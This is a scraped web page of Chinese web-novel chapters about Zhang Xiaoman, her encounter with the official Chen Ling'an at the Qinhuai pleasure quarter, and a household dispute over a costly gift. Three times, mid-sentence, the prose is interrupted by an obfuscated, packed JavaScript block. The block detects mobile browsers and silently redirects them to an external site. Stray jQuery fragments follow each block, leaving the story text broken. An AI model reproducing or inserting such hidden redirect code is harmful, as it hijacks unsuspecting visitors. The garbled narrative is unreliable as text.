婚后也有过蜜里调油的日子,她收敛心性,学着洗手作羹汤,他心无旁骛用功苦读,发誓必要出人头地,绝不叫人小瞧了去。
爹娘只有她和妹妹两个孩子,自是倾尽全力扶持姑爷。张文的官越做越大,身边开始有莺莺燕燕,她不满,却无可奈何。
后来爹娘故去,他们夫妻的关系更是一日冷似一日。
她看人的眼光着实不大好呢。
蒋夫人沉默半晌,忽道:“三丫头想出门就随她吧,派两个稳重可靠的丫鬟婆子跟着。”
方妈妈愕然,须臾明白过来,欲言又止地叹息一声,默默退下去了。
蒋夫人呆坐了会儿,觉得累了,便到院中走一走。
今日天气很好,阳光灿烂,和风醉人,高墙下的玉兰树枝繁叶茂,婆娑摇摆。
她抬头,但见头顶上一块巴掌大的天。
-
张小满生怕嫡母反悔,一得信儿立马就和锦绣出了门。
自打来到京城,她不得不和大部分高门贵女一样,整日窝在家里极少出门,锦绣就更不用提了,走过最远的距离就是张家大门。
所以当车夫问去哪里的时候,她俩竟答不出来。
“去秦淮河吧。”张小满想了想,“听说那里是金陵最为繁华的地方,卖什么的都有,贡院、学宫都在那一片,笔墨铺子肯定很多,想必能淘到好东西。”
车夫怔楞了下,没说别的,扬鞭催马。
马车稳稳走在夯实的黄土道上,窗外从清幽变得热闹,渐渐的,厚实的车壁也隔绝不掉街边嘈杂的叫卖声,高一声低一声,拉着长音,九曲十八弯唱歌儿似的。
张小满掀开车帘,饶有兴趣地看着这些烟火世俗气息。
越走人越多,很快,马车陷在人流中动弹不得,两人便下了车,随着挤挤挨挨的人群往里走。
走着走着,张小满觉得不对劲了。
两岸是一幢接着一幢的河房,雕梁画栋、珠帘垂窗,每处房子都有一个伸出水面的露台,杂坐各色人等,其中不乏曼妙身姿、柔靡歌喉。
再看这一带的店铺,六七成都是做吃喝玩乐生意的,一眼望去,酒肆茶楼连成片,大小赌坊一个挨个一个,戏棚子锣鼓喧天。
到处都弥漫着花天酒地、纸醉金迷的味道。
二人不由面面相觑,此时方知她们来错了地方。
“好累。”张小满坐在糖水摊子前,用力捶着发酸发胀的腿,“真应该提前问问母亲,哪家的东西最好,咱们直接去买就是。”
锦绣一口气喝干一碗冰镇酸梅汤,舒舒服服吁出口气,“太太不大去去人多的地方,不见得知道,要我说,还不如问刘公子。读书人少不了逛笔墨铺子,他品味又高,肯定能帮姑娘挑到好东西。”
张小满笑笑,不说话。
锦绣干脆直接问出了口:“我怎么也想不明白,刘公子多么合适的结婚人选,姑娘怎么对他半点不上心?再这样下去,煮熟的鸭子就飞了。”
“没感觉。”张小满道。
“感觉?什么感觉?”
“就是喜欢的感觉啊。”张小满凑近了悄悄说,“心跳、脸红,不见他时想见他,见了他又怕见他,伶俐人也变得拙嘴笨舌,豁达人也开始拈酸吃醋。”
锦绣听得耳根子发热,同样压低声音说:“姑娘有喜欢的人?不会是那个陈……”到底没敢把剩下俩字说出来。
“哪儿跟哪儿啊!”张小满大笑,重新坐正身子,“我和他亲近,是因为他是故人,更是恩人,我把他当哥哥当亲人,没别的想法。”
锦绣“哦——”了声,语气不乏怀疑。
张小满待要再解释,却听身后传来一声男人的嗤笑,“竟敢公然议论男女情事,真是粗鄙不堪,毫无教养。”
虽没指名道姓,但一听就是在骂自己,张小满火气上窜,立刻回头去看。
后桌坐着几个身穿襕衫的年轻监生,其中一人正斜睨着她们,嘴角下撇,满脸的鄙夷不屑。
那监生瘦长脸,白净皮儿,小豆眼蒜头鼻,张小满仔细回想,确定自己没见过这个人。
锦绣已是气得了不得,霍然起身,指着他的鼻子骂道:“好个不要脸的书生,街头闹市嘈杂纷乱,你是费了多大的劲儿,才听到别人悄声低语?非礼勿视非礼勿听非礼勿言,你的书都读到狗肚子里去了!”
那监生从没被人如此辱骂过,脸腾地涨得通红,言语愈加尖酸刻薄,“有其主必有其仆,就这丑模样也配称大家闺秀?无耻下贱蠢笨村妇,没的辱没门风,哪个娶了,才真是祸患无穷。”
听他话音,应当知晓自己的来历出身,张小满
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901248|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脑中警铃大作,“说我无知蠢笨,你又是谁家子弟?端的自大无礼,可见才学也有限,恐怕是靠溜须拍马才进了国子监吧。”
那书生鼻孔朝天哼了声,“想激我自报家门,好向你那奸佞哥哥告状?呵,我偏不上当,气死你。”
锦绣气急,挽起袖子就要和那人干一架——别管干得过干不过,至少要挠他个满脸桃花开!
待要冲上前,可被自家姑娘摁住了。
姑娘的表情有点古怪,锦绣顺着她的视线望过去,在看热闹的人群中,有个高挑身材的男子登时吸引了她的注意。
分明是清秀俊美的长相,浑身却散发着拒人千里之外的冷峻气质。
他突然冲这边笑了下。
这笑容,锦绣不知道如何形容,就像闹哄哄热腾腾小暖阁,空气中混着烟火气和各种甜腻香,这时有谁剥开一个橘子。
清新的香气让人心情跟着大好。
锦绣想问姑娘他是谁,待看到姑娘的脸色,又是一呆。
姑娘目不转睛瞧着那男子,眼睛亮闪闪的,好像盛了一汪春水。
主仆二人一时竟忘了对面那个兀自“口吐莲花”的监生。
那监生自以为将张小满压制住了,得意洋洋地招呼同窗给她致命一击,结果刚才还叉着手看热闹的同窗们,此刻居然躲得远远的,个个噤若寒蝉。
“诶,你们怎么回事?”他咋咋呼呼问。
“你在说什么这么开心,说出来让我也高兴高兴。”身后突然传来缓慢低沉的男声,轻飘飘压下来,压得他心脏都要爆炸了。
“周公子?”那个声音又在叫他。
周永昌僵硬地扭动身体,“没、没有……”嘴唇嚅动半天也说不出句完整话。
陈令安微微偏头,颇为遗憾地叹气,“不肯说?看来周公子是瞧不起陈某,唉,毕竟陈某是奸佞,为周公子这位君子所不齿也是应该的。”
周永昌只敢背后过过嘴瘾,万万想不到能被事主逮个正着。
他倒不算蠢到底,呆滞片刻便对张小满一揖到底,“小生有眼不识金镶玉,冒犯了姑娘,请姑娘恕罪则个。”
张小满已猜到他的身份了,就是先前提出相看她结果临了又反悔,把嫡母气得够呛的周家人。
她没见过他,他却认得她,定然是趁她某次外出,偷偷瞧过她了。
阴沟老鼠!张小满暗骂一声,说话自然带出情绪来,“我一个无知无礼的粗鄙村姑,自然是无理搅三分,得理更不饶人了。”
周永昌脸皮一僵,“我都道歉了,你还……”眼光瞥见一旁的陈令安,到底没敢把剩下的话说出来。
好汉不吃眼前亏,男儿膝下有黄金,一咬牙一跺脚,他“扑通”跪在张小满面前,“姑娘,小生无状,真心悔过了。”
张小满下意识就要躲开,不妨陈令安挡在她身侧,硬是叫她受周永昌的礼。
“起来吧。”张小满还是侧过了身子。
周永昌欣喜地站起来,刚要开溜,却听陈令安冷冷道:“放你走,感动不?”
“唔……”周永昌不太敢动了。
陈令安:“讲个笑话,把我逗笑了,就放你走。”
周永昌惊惧交加,脑子空空哪有笑话可讲,憋了半天欲哭无泪道:“我看我就是个笑话……”
哄笑声立时在围观人群中炸开,连陈令安都忍不住莞尔。
周永昌掩面狂奔而去。
文人最重风骨,哪怕他日后高中入仕,今天这出也会成为他抹不去的笑柄。
这口恶气出得好生痛快!
张小满眼睛闪闪发亮看着陈令安。
她不知道,此刻她的脸悄悄地红了。
10. 第 10 章
意外相见,惊喜冲散了方才的晦气,张小满的笑容和天上的太阳一样灿烂了,“你特意找我的是不是?”
陈令安却没她那般兴奋,甚至可以说有些冷淡,“碰巧而已。”
张小满压根不信,“瞎说,金陵这么大,怎么可能说碰就碰上了。”
陈令安冷哼一声,提脚就走。
“诶,怎么说生气就生气!”张小满在后面紧赶慢赶,“等等我啊,我还有事要请教你呢!”
锦绣亦步亦趋跟在她旁边,自打知道英雄救美的是陈令安,初见的惊艳立刻烟消云散,取而代之的是防备——饶是她这个小丫鬟都知道陈令安的恶名,可不能让他把姑娘给骗喽!
陈令安没回头,有意无意放慢了脚步。
“我五妹妹喜欢写字画画,我想选件礼物给她,可我不懂行,你帮我挑挑好不好?”张小满一脸希翼。
陈令安终于屈尊纡贵看过来,“你来‘旧院’买纸笔?”
看张小满一脸的懵懂,便知她什么也不明白,陈令安没好气道:“这是秦楼楚馆萃集之地,你不知道,你家里人也不知道?”
张小满稍一琢磨就清楚怎么回事了,她不懂,车夫定然知道,却闭口不提醒,大约也是得了某人的“提点”。
不知那跟车的婆子有没有掺和。
她暗暗叹口气,旋即扬起笑脸道:“我想着贡院学宫都在这边,还以为……”
陈令安唇边浮现一丝讥诮,“多亏了那帮饱读圣贤书,自诩风流的文人才子,十里秦淮才平添许多香艳逸闻。”
“不来了,我再也不来了!”张小满围着他转磨,“帮帮忙嘛,你肚里有真东西的,绝非那些伪君子能比。”
“奸佞小人挑的东西,你敢送,别人也不敢要。”
“你要是奸佞,世上就没好人了。”
“呵,巧言令色。”
……
嘴上满是嫌弃,到底还是带着她们来到一处林荫蔽日的矮山,山脚下是不起眼的笔墨铺子,上面挂着一块黑漆金字牌匾,上书“南湖书斋”。
门面小小的,里面却很宽敞,几乎没有顾客,小伙计支着脑袋坐在柜台后,无聊地打着哈欠。
陈令安轻轻咳了声。
小伙计如梦初醒,听闻是来买画画用的东西,忙不迭开始介绍。
什么湖笔排笔蟹爪须眉、麻纸皮纸宣纸熟生绢,数不清的各色颜料……张小满没多久就听得头昏脑涨,看得两眼发懵,分不清孰好孰坏了。
好在还有陈令安,愣是在小伙计天花乱坠的推荐中,在犄角旮旯找出一盒五颜六色的石头,挑拣了好一会儿,方拣出几小块蓝色的,只问伙计买这个。
小伙计却说不卖,“掌柜的说了,这是一位老主顾订的,别人出多少钱也不能卖。”
陈令安沉默了,眼中闪过一瞥哀痛的光,却是转瞬即逝,再说话时,又是那副冷然的语气了,“去和你们掌柜的说,我陈令安想要的东西,还没有人敢不给。”
一听他的来头,小伙计脖子一缩,急忙进里屋问人拿主意。
不多时他出来了,把那几块石头包好放入一个小锦盒,恭恭敬敬道:“掌柜的说,钱已经提前付了,大人直接拿走就好。”
“我不欠别人的情。”陈令安扔下张银票,转身出了店门。
张小满问他多少钱,“我还你钱,别客气,我现在也是个小富婆啦。”
陈令安挑挑眉头,似笑非笑地伸出一根手指头。
“一两?也还好嘛!”说着,小满低头去掏荷包。
陈令安“哈”的笑了声,摇摇手指,“一两银子还值得我带张银票?”
“那……十两?”小满摸摸荷包,她只有五两碎银,恐怕要迟些再还他钱了。
陈令安不逗她了,“一百两。”
“多少?!”张小满倒吸口冷气,乖乖,就几块指甲盖大小的石头,居然要一百两!
“这么贵,咱们是不是被骗啦?”张小满小声提醒他。
陈令安失笑,拿着一块石头解释说:“这是青金石,也叫群青,是非常珍贵的颜料,价比黄金都说少了。”
张小满啧啧两声,心在滴血。
“你画画吗?”陈令安斜睨她一眼。
张小满摇头。
“这不就得了?再难得的颜料,在你手中也是无用,你特地给小妹妹买礼物,应是真心想与她交好的,送礼,当然要送到心坎里。”
看她还是龇牙咧嘴一脸肉疼的样子,陈令安猛地想到什么。
果然,张小满期期艾艾道:“那个……我能不能慢慢地还你钱?”
嫡母赏的东西万万不可变卖,她也没有可出息的私产,能支配的只有每月一两的例银而已。
要省钱偷偷给宣府阿婆寄去,还要留出打赏府里丫鬟婆子的钱,落在手里的能有三四百钱就很不错了。
本打算买个二三两银子的礼物,结果一下子出去一百两,猴年马月才能攒够啊!
这样下去可不行,张小满眉头慢慢皱起来,开始考虑赚钱的法子。
“休想赖账。”陈令安瞥她一眼,“写欠条给我,胆敢不还,我就在大朝上当着文武百官的面找张文讨债!”
“人家又没说不还。”张小满嘀咕一句,眼见陈令安自顾自走远了,忙提裙跟上。
一直充当背景的锦绣忍不住腹诽:这一路怎么都是姑娘追赶陈令安?反了吧。
走出去没多远,便听林荫深处传来一阵读书声。
张小满好奇张望,“这里还有学堂?”
陈令安“嗯”了声,语气中带了点他自己也没察觉到的尖酸,“南翠书院,培育国之栋梁的地方。”
听着耳熟,好像是大哥读书的地方。张小满瞅瞅面色不善的陈令安,聪明地止住了这个话题。
张家的马车依旧停在原地,车夫和跟车的婆子正坐在茶摊儿上嗑瓜子喝茶聊大天,气氛那个热烈,锦绣叫了他们好几声,才慢吞吞地走过来。
却见张小满身旁多了位俊美无双的冷面公子,不由都是一愣。
陈令安连个眼风都没给他们,冲张小满晃晃手中的欠条,一言不发地走了。
因有外人在,锦绣满腹的话也没法说,好容易憋到家,刚进房门就迫不及待说:“姑娘,赶紧问太太要二百两银子,咱可不能欠他的债!”
张小满笑道:“不碍事,慢慢还,总能还上的。你可别和太太说去,不然我可真恼了。”
锦绣犹豫着答应了,“我是姑娘的丫鬟,当然要以姑娘的意思为先……可是今天的事,指定瞒不过老爷太太,姑娘还是想想待会儿怎么回话吧。”
张小满心不在焉点点头,手里把玩着那几块青金石,不知怎的,心里有点酸不溜丢的。
想了想,包上一小包盐津梅子,让锦绣送到北镇抚司衙门。
锦绣使劲摇头拼死不去。
说实话,亲近的人一个两个都对陈令安避如蛇蝎,张小满心里着实不好受,她深吸口气,缓声道:“你今天也见着他了,你看他吓人吗?”
锦绣迟疑了会儿,微微摇了摇头。
“这就是了。”张小满松口气,继续循循善诱,“今日若不是他,我们还不知要受多少羞辱,姓周的背后诋毁他辱骂他,他也没把姓周的抓进诏狱,可见他并非凶残横暴的人。世上最不可信的就是传闻,人们还说我是无知无礼蠢笨不堪的草鸡呢,其实我秀外慧中,聪明得紧!”
说完眉头高挑,下巴一抬,大有睥睨天下之姿。
把锦绣逗得“噗嗤”笑出了声,刚刚坚决的心已是松动了。
“姑娘不如送点别的,男人一般不爱吃蜜饯,咱家老爷大公子,都极少碰这些零嘴儿。”她说。
张小满让她只管去,“他肯定会收。”
锦绣拿着盐津梅子忐忑不安出去了,一脸惊奇地回来了。
“北镇抚司的人说陈大人有事进宫了,回来就把东西呈给他,我一提姑娘,他们立马恭恭敬敬的,态度别提有多好了!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901249|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
锦绣与张小满咬耳朵,“还有个事,我出去的时候,二门李婆子问都不问我去哪儿,角门上的人也是。他们往里日都与姚姨娘走得近,姑娘小心他们使坏。”
张小满颔首,暗暗准备好一番说辞。
结果出乎她们意料,张家平静得很,一点波纹都没泛起。
蒋夫人倒是在次日晨醒时,问张小满是否准备妥当了,还需要些什么,看样子,并不知晓她的小动作。
至于父亲张文,连面都没露。
锦绣拍着胸口不胜庆幸,张小满却觉怪异,想来想去,应是有人替她瞒下了。
会是谁呢?
她想和嫡母商量商量,可嫡母是个急性子爆脾气,若知道下人知情不报看她笑话,少不得又得和姚姨娘闹一场。
父亲也一定会一如既往地维护姚姨娘,斥责嫡母和她的不是。
她不怕父亲责骂,怕只怕嫡母平白受气,独自伤心。
小满思来想去,决定暂时按下不表,只等老太太来了再说。
一场细雨过后,张家老太太杨氏,携五姑娘张安懿并其生母孙姨娘回来了。
边老太太笃信佛教,俗事一概不理,一年中倒有大半都住在庵堂吃斋念佛,逢年过节才回家接受子孙们的孝敬。便是当初张小满回京,蒋夫人亲自去请她归家团聚,老太太也只是一声“知道了”。
那孙姨娘原是老太太跟前的丫鬟——老太太心疼儿子没个知冷知热的体贴人,看她敦厚老实,便指给儿子伺候了。
她比张文还大着几岁,姿色普通,没多少宠爱,直到生下张安懿才抬成姨娘。因而她无意陷入内宅的争斗,索性以女儿体弱须静养调和的借口,陪着老太太一直住在庵堂。
这是张小满第一次与她们见面。
边老太太略显富态,近六十的人了,头发还是乌如鸦羽,脸上不见一丝皱纹,垂眸敛目像尊沉静的观音像。
大约是在佛堂呆久了,浑身都被香烟腌渍入味。陪坐末席的小满已是隔了老远,那股味道还是直往鼻子里钻。
做派也如出世的高人,除却仔细问过儿子的生活起居,和蒋夫人说了几句话,对其他人非常平等地忽视了。
便是备受张文宠爱的姚氏母女,她也没多看一眼。至于新找回来的孙女张小满,也只是在行跪拜大礼时点了点头而已。
气氛一度十分沉闷。
孙姨娘轻声开口:“老太太,天热,人都在这里攒堆着憋闷的慌,不如让孩子们去碧纱橱里说话。”
边老太太微微阖目,算是默许了。
张小满张君懿不约而同松口气,相视一眼,又同时错开目光,一前一后去了隔壁的碧纱橱。
趁这会子功夫,小满把准备好的礼物拿给张安懿。
许是待在一起的时间太久,张安懿长得很像老太太,圆圆的脸蛋圆圆的眼,身板也圆鼓鼓的,像个发面馒头。
个头不高,穿着藏青素地袄裙,头上也素净得很,浑身上下一点鲜亮的颜色都没有,明明只是个十四岁的孩子,却散发着沉沉暮气。
但当她看到锦盒里的东西时,眼中立刻迸发出惊奇的光彩,拿着石头看了又看,摸了又摸,就是舍不得放下,“真漂亮,调出来的颜色一定很好看,我真是太喜欢了,三姐姐,谢谢你!”
张小满莞尔一笑:可算有点小孩子的模样了。
张君懿也走过来瞧,她是识货的,只一眼,就看出其价值不凡来,“青金石?!五妹妹,你该谢的人是太太,三姐姐可拿不出这么好的东西来,肯定又是从太太私库里拿的。”
“妹妹说错了,这是我买来的。”张小满分辩道,“母亲做事一向公平,别什么都往母亲身上扯。”
张君懿冷笑道:“这几块青金石少说也要上百两银子,你哪儿来的钱?太太偏心你又不是一日两日了,谁嫉妒你似的,大大方方说出来,欲盖弥彰真小家子气。”
她声音不算小,格栅门那边很快听到动静,须臾便有丫鬟让姐妹三人过去回话。
11. 第 11 章
张文只问过张君懿一人,便认定是蒋夫人私下贴补张小满。
“一样的女儿,偏不一样的看待,怎么说也是大家子出来的人,偏心到如此地步,不得不令人怀疑掌家的能力。”
已是丝毫不掩饰逼她移交中馈的打算了。
蒋夫人气得涨红了脸,立刻就要反唇相讥,然转念一想,她的的确确没有给小满银子,更没有青金石,小满只能是变卖首饰衣料换的钱。
张文本就不喜小满,让他知道了,定会大骂小满不守规矩,外流闺阁之物用心叵测云云。
蒋夫人深吸口气,准备认下“罪名”。
却在这时,张小满脆生生的嗓音响起了,“父亲冤枉母亲了!是陈令安帮我垫的银子,我还给他写了欠条呢,不信,父亲尽可上朝时问问他。”
她说出银子的缘由,张文等人知晓他们关系,听起来还不觉怎样,新回府的人齐齐打了个寒颤。孙姨娘“啊”的叫出声来,闭目假寐的边老太太霍地圆睁双目,手上的念珠都掉了。
饶是年岁小的张安懿也在孙姨娘的示意下,惴惴不安地预备退回青金石。
“孽障,又私自与外男见面!”张文一拍桌子,“我看你是欠管教。”
“你们怎么碰到的,区区一百两银子,怎么还逼你写欠条,他没胁迫你别的吧?”蒋夫人急急拉过张小满,无形中将她护在身后。
张小满心里泛上一阵热辣辣的暖流,“没有,是我说要还钱。那天我去旧院买东西,遭周公子无端谩骂,幸好陈令安路过,出手替我解围。”
蒋夫人还在消化这句话,姚姨娘已大声惊呼,“什么?你竟然去旧院?”
张文一怔,旋即怒不可遏,一面命人拿家法,一面大喝:“有伤风化,败坏家声!今日不把你打死,我张家迟早会毁在你手里!”
蒋夫人急了,“孩子还小,往后好好教导也就是了,杀子的名声难道好听吗?”
姚姨娘也上前劝阻,“老爷息怒,老太太是吃斋念佛的人,万万见不得血光,老爷,瞧着老太太吧。”
一句话提醒了张文,立刻吩咐绑了张小满,“送去庵堂,剃度出家,永生不得踏出山门一步。”
“不行!”蒋夫人厉声道,“事情还没搞清楚,谁也不能动三丫头。老爷,你就不怕陈令安问你要人吗?”
话刚出口,她就怔住了——她竟想也不想就用陈令安压张文?
然而这句话立时起了作用,张文犹豫了。
趁着空档,张小满故作不解道:“姚姨娘,旧院是什么地方?我只听说十里秦淮是金陵城最繁荣的地方,什么稀奇玩意儿都有,这才想去的。车夫也好,跟车的婆子也好,都没说不妥。”
姚姨娘垂下眼帘,她自是知道,却不好直白地说出来。
“小满才来几天,出过几趟门?她哪知道旧院新院的。”蒋夫人此时也冷静下来,抓住疑点猛攻,“车夫是谁,跟车的婆子又是谁,他们总不会不知道,事先不提醒,事后不禀报,憋着一肚子坏水看主人家笑话。”
蒋夫人斜了姚姨娘一眼,冷哼道:“来人,把他们绑上来,我倒要问问,谁给他们的胆子!”
姚姨娘自有应对之法,悄悄扯了扯张文的袖子,“今儿个老太太刚回来,府里就发落下人,人多口杂,传出去还以为是老太太容不得人,有碍老太太仁和慈爱的名声。”
张文仔细一想就明白爱妾必做了手脚。
他并不反感妻妾相争,甚至还有点乐见其成,看着出身高贵的蒋氏为他吃醋生闷气,和出身低下的妾室通房勾心斗角,绞尽脑汁博取他的欢心,他就从心底萌生出一种说不出的快意。
姚氏也着实娇媚动人,对他百依百顺,床笫之私颇得他心意。
所以他宠爱姚氏,由着她与蒋氏作对。
但这次居然闹到陈令安面前,那人岂能看不穿这点小伎俩,如果在皇上面前说上几句“治家不严,后宅不宁”,皇上会不会怀疑他的能力?
姚氏玩点小手段可以,却不能损害他的仕途。
这是他的底线。
一股怒气升腾起来,张文甩开姚姨娘的手,冷声道:“车夫和跟车的婆子打二十大板,家生子阖家发卖,外头买的直接轰出去,只许留贴身衣服,旁的一概不许带走!”
姚姨娘脸色发白,怨毒地盯视蒋夫人一眼,旋即低垂眼帘,做出一副与己无关的姿态。
张文自以为足够严苛的惩戒,蒋夫人却觉他在有意偏袒姚姨娘,“没人授意,他们吃了熊心豹子胆敢算计主子?”
“说到底也是你这个主母的疏忽,你怎么管家的?瞧这问心无愧的架势,倒像不是张家太太一样。”
张文瞥了眼她,又瞪着张小满冷声道:“念你不知,姑且饶过你,胆敢有下次,我扒了你的皮。”
说罢对边老太太道了声不孝,方冷着脸退出去了。
边老太太接过孙姨娘捡起的念珠,就着她的搀扶起身,“闹吧,你们就闹吧,等哪天把张家闹散了,你们就称心如意了。”
蒋夫人姚姨娘忙说不敢。
边老太太看也不看她们一眼,自顾自道:“六月十九是观世音菩萨成道日,姚氏,这阵子你就好生在院子里呆着,仔细抄写十遍《妙法莲华经》。”
“抄写前净手焚香,期间不得用荤腥,不得玩乐,要清心寡欲没有杂念。待我供于佛前,也算你的一份功德。”
这不就相当于变相软禁?姚姨娘身子晃晃,到底吞下眼泪说了声“是”——护着她的人不在,哭也没人理会。
走了两步,边老太太又回身来看蒋夫人,“教养子女,管理妾室,辅佐夫君,是你这个太太分内的事。你是高门大户出来的姑娘,有些话我不好多说,可你看看现今这个样子……唉。”
蒋夫人紧紧抿着嘴角,渐渐红了眼圈。张小满看见,胸口跟堵了团棉花似的发闷。
边老太太仍是没有正眼瞧张小满,只对恋恋不舍看着青金石的张安懿道:“拿着吧,别辜负你三姐姐一片好意。蒋氏,陈令安的债不能欠,赶紧还上,再准备一份合适的谢礼——怎么说他也帮了张家姑娘一把。”
蒋夫人不赞同,“银子是该还,可这谢礼,还是问问老爷的意思再做决定。”
欠债还钱,天经地义,可送礼就代表着想要结交陈令安,而陈令安现时就是士林公敌,此举必会影响张文的声望。
边老太太沉吟着若有所思,好一会儿才说:“自然不能以张家的名义送,谁借的钱,就让谁去送。”
竟还要小满去接触陈令安?蒋夫人愕然。
边老太太没有过多解释,只瞧着欢天喜地抱着青金石的张安懿,轻飘飘抛下一句,“小孩子家家的,今天喜欢,明天说不定又扔到一边,猫一阵狗一阵没个定性。”
蒋夫人听明
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901250|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白了,叫小满去送礼,若日后有人拿此事排挤攻讦老爷,大可推说是孩子间的往来,做不得数。如此既能向陈令安示好,也牵扯不到老爷。
理儿是这个理儿,可把小满当什么了?
蒋夫人一阵烦闷,连姚姨娘吃挂落都让她笑不起来了。
一场久别重逢的团聚不欢而散。
回到院子,蒋夫人犹自忿忿。
方妈妈宽慰说:“凭三姑娘的性子,肯定还会私下找那个人,现在有了‘尚方宝剑’,可以明着去找,不必担心落人口舌。”
蒋夫人叹道:“陈令安一直得势还好,假如哪天倒台了,我看他们第一个就要抛弃她。”
这倒极有可能,可方妈妈不好说主人家的不是,只袖着手微笑。
蒋夫人还在抱怨,“老太太今儿头一回见小满,居然连个见面礼都没准备,真是!”一面又自责太粗心,“我早该贴补她的,打今儿起,每月三丫头多二两的份例,从我这里出,不走公中的帐。”
方妈妈先应了声“是”,掂掇一阵慢慢道:“三姑娘一向活泼灵动,今儿可足够沉稳,换个人,一见老爷要打杀了她,早吓得惊惶失措,哭着求饶了。”
蒋夫人惊讶抬头,“你的意思……”
方妈妈心一横,索性把心里的话全说了出来,“那么名贵的石头,三姑娘绝对买不起,老爷一定会怀疑是太太私下补贴她,三姑娘不是蠢人,肯定能想到,为什么提前不说?”
蒋夫人不在意地笑笑,“大概是怕我骂她吧,毕竟我三令五申不许她与陈令安再有往来。”
“这就是了。”方妈妈道,“她有陈令安撑腰,笃定老爷不会拿她怎样,今儿才有恃无恐,却惹得太太又和老爷生隙。从前老爷一个月还来个几趟,可自打三姑娘回来,老爷踏进正院的次数屈指可数。”
“太太,不要再因为三姑娘和老爷起冲突了!”
蒋夫人笑容僵住了,“都是因为姚氏……”
“以前也有姚姨娘!”方妈妈捉急,头一次不顾尊卑打断主人的话,“奴婢说句僭越的话,三姑娘也有点忒不识好歹了,刘家那样体面的亲事都不放在眼里,偏和陈令安纠缠不清。”
“且不说陈令安这人如何,就说太太操多少心,费多少力,又搭进去多少人情,才促成刘家相看她。她倒好,相亲宴上直接认刘家死对头做竹马。”
“刘家看着太太姨太太的面子,没发作,还愿意继续议亲,给足了台阶让她下。她不说收敛,反倒一而再,再而三去找陈令安。”
“这让太太今后怎么和刘家打交道?就是面对姨太太也说不过去啊。太太娘家老太爷老太太都不在了,又没有亲兄弟可倚靠,唯有姨太太一个至亲……她就不考虑考虑太太的处境?”
方妈妈重重叹出口气,“还有,她被亲生父亲摒弃,就一点不难过?三姑娘面上丝毫不显,局外人似的看热闹,我看她就没把自己当张家人。如此凉薄,即便嫁得好人家,只怕扭脸就忘了太太的恩情。”
蒋夫人被这番说辞惊住了,呆滞地嚅动了下嘴唇,“我不会又看错人了吧……”
死样的沉寂顿时侵蚀了屋子。
外面不知何时起了风,挟着雨腥味,吹得帐幔簌簌颤抖着胡乱飘动,方妈妈忙去关门窗,却见小丫鬟急匆匆拐进廊下。
“周太太来了,有要紧的事请见太太,烦请妈妈通禀一声。”
12. 第 12 章
蒋夫人提起周家就来气,直接说不见,连借口都懒得用。
门子把话传到,砰的关上了门。
周太太浑身一颤,接着疯了似地捶打门板,“人命关天,耽误不得!我要见蒋夫人,不,张小满,我要见张小满!”
任凭她把门拍得山响,哭喊声再凄厉,门子还是无动于衷。
细雨飘摇,姚姨娘撑伞沿着鹅卵石小路慢慢走来,门子忙起身问好,见她站在门洞子下,打扮却不像要出门的样子,因赔笑道:“姨娘这是……”
姚姨娘皱起眉头,若是以往,她一个眼神过去,门房早就殷勤地开了侧门,现在却装傻动弹,准是打量着她失宠了,不肯再巴结奉承。
所以她必须扳回一城,给这起子跟红顶白的下贱胚子看看,谁才是张家真正的女主人。
姚姨娘抬起下巴,“外面是周家太太吧,为什么不开门?”
门子答道:“太太有吩咐,不见周家的人,也不准给她开门。”
姚姨娘掩口惊呼一声,“那怎么行?周大人和老爷同朝为官,这样对他夫人,以后还见不见面了?开门,快请周太太进来。”
门子站着不动,只谦恭地笑着,“姨娘就别为难小的了,我开了门,回头太太把我发卖出府,我可找谁说理去。”
饶是姚姨娘再能掩饰情绪,此刻脸色也阴沉下来,“你想想清楚,这是张家,做主的是老爷,老爷可有说不让周太太进来?”
门子覷着她的脸色,“姨娘是说……老爷让她进来?”
姚姨娘面皮一僵,到底没敢再借张文的名头办事,转而抛出个诱人的条件,“你家小子也到了当差的年纪,明儿个先送进府学学规矩,等端午大爷回家,就跟着他伺候吧。”
门子登时喜出望外,儿子做大爷的书僮,比外院跑腿打杂好上百倍,便是太太罚自己,他也认了。
再说,日后嫡母亲娘哪个占上风还不晓得嘞!
他给自己的脸轻轻来了两下,一边骂自己猪油蒙了心,一边要去开门。
姚姨娘轻蔑地笑笑,“你也别说我难为你,把人请到门房说话,不算违背太太的吩咐。”
门子点头哈腰连连称是,把姚姨娘请进门房坐着,又不知从哪里端来一壶茶并四样点心,仔细涮洗过杯子,方开门迎进周太太。
周太太一进门,见是个上不得台面的姨娘,便有些迟疑。
姚姨娘不由一阵暗恼,面上仍是温温柔柔的笑,优雅一抬手。
